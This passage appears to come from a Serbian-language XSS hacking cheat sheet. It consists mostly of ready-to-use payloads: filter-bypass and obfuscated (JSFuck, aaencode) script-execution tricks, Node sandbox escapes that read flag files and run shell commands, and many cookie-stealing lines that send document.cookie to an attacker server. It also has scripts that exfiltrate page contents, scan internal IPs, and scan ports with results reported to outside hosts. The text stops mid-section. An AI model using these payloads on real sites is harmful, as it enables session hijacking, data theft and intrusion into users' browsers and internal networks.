{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}


// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.

Proizvoljan poziv funkcije (alert)

//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')

//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>

DOM ranjivosti

Postoji JS kod koji koristi nesigurne podatke kontrolisane od strane napadača poput location.href. Napadač može iskoristiti ovo da izvrši proizvoljan JS kod.
Zbog proširenja objašnjenja DOM ranjivosti su premeštene na ovu stranicu:

{% content-ref url="dom-xss.md" %} dom-xss.md {% endcontent-ref %}

Tamo ćete pronaći detaljno objašnjenje šta su DOM ranjivosti, kako se izazivaju i kako ih iskoristiti.
Takođe, ne zaboravite da na kraju pomenutog posta možete pronaći objašnjenje o DOM Clobbering napadima.

Nadogradnja Self-XSS

Ako možete pokrenuti XSS slanjem payload-a unutar kolačića, obično se radi o self-XSS-u. Međutim, ako pronađete poddomen podložan XSS-u, možete iskoristiti ovaj XSS da ubacite kolačić u celokupnu domenu i uspeti pokrenuti cookie XSS na glavnoj domeni ili drugim poddomenima (onima podložnim cookie XSS-u). Za ovo možete koristiti napad cookie tossing:

{% content-ref url="../hacking-with-cookies/cookie-tossing.md" %} cookie-tossing.md {% endcontent-ref %}

Možete pronaći odlično zloupotrebu ove tehnike u ovom blog postu.

Slanje vaše sesije adminu

Možda korisnik može podeliti svoj profil sa adminom i ako je self XSS unutar korisnikovog profila i admin pristupi tome, aktiviraće ranjivost.

Ogledalo sesije

Ako pronađete neki self XSS i veb stranica ima ogledalo sesije za administratore, na primer omogućavajući klijentima da zatraže pomoć kako bi admin mogao da vidi šta vi vidite u vašoj sesiji ali iz njegove sesije.

Možete naterati administratora da pokrene vaš self XSS i ukrasti njegove kolačiće/sesiju.

Ostali Bypass-ovi

Normalizovani Unicode

Možete proveriti da li se reflektovane vrednosti normalizuju u unicode formatu na serveru (ili na strani klijenta) i iskoristiti ovu funkcionalnost da zaobiđete zaštitu. Pronađite primer ovde.

PHP FILTER_VALIDATE_EMAIL flag Bypass

"><svg/onload=confirm(1)>"@x.y

Ruby-On-Rails zaobilaženje

Zbog RoR masovnog dodeljivanja navodnici se ubacuju u HTML, a zatim se ograničenje navodnika zaobilazi i dodatna polja (onfocus) mogu se dodati unutar oznake.
Primer obrasca (iz ovog izveštaja), ako pošaljete payload:

contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa

Par "Ključ","Vrednost" će biti vraćeno kao:

{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}

Zatim će biti umetnut atribut onfocus i doći će do XSS napada.

Posebne kombinacije

<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1'&#41</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)

XSS sa ubacivanjem zaglavlja u 302 odgovoru

Ako otkrijete da možete ubaciti zaglavlja u 302 Redirect odgovor, možete pokušati naterati pregledač da izvrši proizvoljni JavaScript. Ovo nije trivijalno jer moderni pregledači ne tumače telo HTTP odgovora ako je statusni kod HTTP odgovora 302, pa je samo XSS payload beskoristan.

U ovom izveštaju i ovom možete pročitati kako možete testirati nekoliko protokola unutar zaglavlja Lokacija i videti da li bilo koji od njih omogućava pregledaču da inspicira i izvrši XSS payload unutar tela.

Prošli poznati protokoli: mailto://, //x:1/, ws://, wss://, prazno zaglavlje Lokacija, resource://.

Samo slova, brojevi i tačke

Ako možete naznačiti callback koji će JavaScript izvršiti ograničen na ove karaktere, pročitajte ovaj odeljak ovog posta da biste saznali kako iskoristiti ovaj ponašanje.

Validni <script> Content-Type-ovi za XSS

(Od ovde) Ako pokušate učitati skript sa content-type-om kao što je application/octet-stream, Chrome će baciti sledeću grešku:

Refused to execute script from https://uploader.c.hc.lc/uploads/xxx' because its MIME type (application/octet-stream) is not executable, and strict MIME type checking is enabled.

Jedini Content-Type-ovi koji će podržati Chrome da pokrene učitanu skriptu su oni unutar konstante kSupportedJavascriptTypes sa https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc

const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};

Vrste skriptova za XSS

(Od ovde) Dakle, koje vrste mogu biti naznačene za učitavanje skripta?

<script type="???"></script>

Odgovor je:

  • modul (podrazumevano, ništa posebno za objašnjavanje)
  • webbundle: Web paketi su funkcija koja vam omogućava da zapakujete gomilu podataka (HTML, CSS, JS...) zajedno u .wbn fajl.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
  • importmap: Omogućava poboljšanje sintakse uvoza
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>

<!-- With importmap you can do the following -->
<script>
import moment from "moment";
import { partition } from "lodash";
</script>

Ovo ponašanje je korišćeno u ovom writeup-u da bi se preusmerila biblioteka na eval kako bi se zloupotrebila i pokrenula XSS.

  • speculationrules: Ova funkcija je uglavnom tu da reši neke probleme izazvane predrenderovanjem. Radi na sledeći način:
<script type="speculationrules">
{
"prerender": [
{"source": "list",
"urls": ["/page/2"],
"score": 0.5},
{"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1}
]
}
</script>

Vrste web sadržaja za XSS

(From ovde) Sledeće vrste sadržaja mogu izvršiti XSS u svim pregledačima:

  • text/html
  • application/xhtml+xml
  • application/xml
  • text/xml
  • image/svg+xml
  • text/plain (?? nije na listi, ali mislim da sam ovo video na CTF-u)
  • application/rss+xml (isključeno)
  • application/atom+xml (isključeno)

U drugim pregledačima druge Content-Types mogu se koristiti za izvršavanje proizvoljnog JS koda, proverite: https://github.com/BlackFan/content-type-research/blob/master/XSS.md

xml Content Type

Ako stranica vraća content-type text/xml, moguće je naznačiti namespace i izvršiti proizvoljni JS:

<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>

<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->

Posebni šabloni zamene

Kada se koristi nešto poput "neki {{šablon}} podaci".replace("{{šablon}}", <korisnički_unos>), napadač može koristiti posebne zamene niski da pokuša da zaobiđe neke zaštite: "123 {{šablon}} 456".replace("{{šablon}}", JSON.stringify({"ime": "$'$`alert(1)//"}))

Na primer, u ovom objašnjenju, ovo je korišćeno da izbegne JSON nisku unutar skripte i izvrši proizvoljan kod.

Chrome Keš do XSS

{% content-ref url="chrome-cache-to-xss.md" %} chrome-cache-to-xss.md {% endcontent-ref %}

XS Jails Bekstvo

Ako imate ograničen skup karaktera za korišćenje, proverite ova druga validna rešenja za XSJail probleme:

// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))

// use of with
with(console)log(123)
with(/console.log(1)/)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))

with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))

//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()

// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE

Ako je sve nedefinisano pre izvršavanja nepoverljivog koda (kao u ovom writeup-u), moguće je generisati korisne objekte "iz ničega" kako bi se zloupotrebilo izvršavanje proizvoljnog nepoverljivog koda:

  • Korišćenjem import()
// although import "fs" doesnt work, import('fs') does.
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
  • Pristupanje require indirektno

Prema ovome moduli su omotani od strane Node.js unutar funkcije, kao što je ovo:

(function (exports, require, module, __filename, __dirname) {
// our actual module code
});

Dakle, ako iz tog modula možemo pozvati drugu funkciju, moguće je koristiti arguments.callee.caller.arguments[1] iz te funkcije da pristupimo require:

{% code overflow="wrap" %}

(function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})()

{% endcode %}

Na sličan način kao u prethodnom primeru, moguće je koristiti rukovaoce greškama da pristupite omotaču modula i dobijete funkciju require:

try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = ''.constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log('='.repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req('child_process').execSync('id').toString())
}
}
}
trigger()

Obfuskacija i Napredni Bypass

//Katana
<script>([,,,,,]=[]+{},[,,,,,,,,,,]=[!!]+!+.)[=++++++++++][](+++++'(-~ウ)')()</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>
//aaencode
゚ω゚ノ= /`m´)ノ ~┻━┻   //*´∇`*/ ['_']; o=(゚ー゚)  =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');
// It's also possible to execute JS code only with the chars: []`+!${}

XSS uobičajeni payloadi

Više payloada u 1

{% content-ref url="steal-info-js.md" %} steal-info-js.md {% endcontent-ref %}

Iframe zamka

Naterajte korisnika da se kreće po stranici bez napuštanja iframe-a i da ukrade njegove akcije (uključujući informacije poslate u formama):

{% content-ref url="../iframe-traps.md" %} iframe-traps.md {% endcontent-ref %}

Preuzimanje kolačića

<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>

{% hint style="info" %} Nećete moći da pristupite kolačićima iz JavaScript-a ako je postavljena zastava HTTPOnly u kolačiću. Ali ovde imate neke načine za zaobilaženje ove zaštite ako imate dovoljno sreće. {% endhint %}

Ukradi sadržaj stranice

var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
var attacker = "http://10.10.14.8/exfil";
var xhr  = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open('GET', url, true);
xhr.send(null);

Pronađite interne IP adrese

<script>
var q = []
var collaboratorURL = 'http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net';
var wait = 2000
var n_threads = 51

// Prepare the fetchUrl functions to access all the possible
for(i=1;i<=255;i++){
q.push(
function(url){
return function(){
fetchUrl(url, wait);
}
}('http://192.168.0.'+i+':8080'));
}

// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for(i=1; i<=n_threads; i++){
if(q.length) q.shift()();
}

function fetchUrl(url, wait){
console.log(url)
var controller = new AbortController(), signal = controller.signal;
fetch(url, {signal}).then(r=>r.text().then(text=>
{
location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
}
))
.catch(e => {
if(!String(e).includes("The user aborted a request") && q.length) {
q.shift()();
}
});

setTimeout(x=>{
controller.abort();
if(q.length) {
q.shift()();
}
}, wait);
}
</script>

Port Skener (fetch)

const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }

Port Skener (websockets)

var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}

Kratka vremena ukazuju na odgovarajući port Duža vremena ukazuju na nedostatak odgovora.

Pregledajte listu zabranjenih portova u Chrome ovde i u Firefox-u ovde.

Polje za unos podataka za prijavu

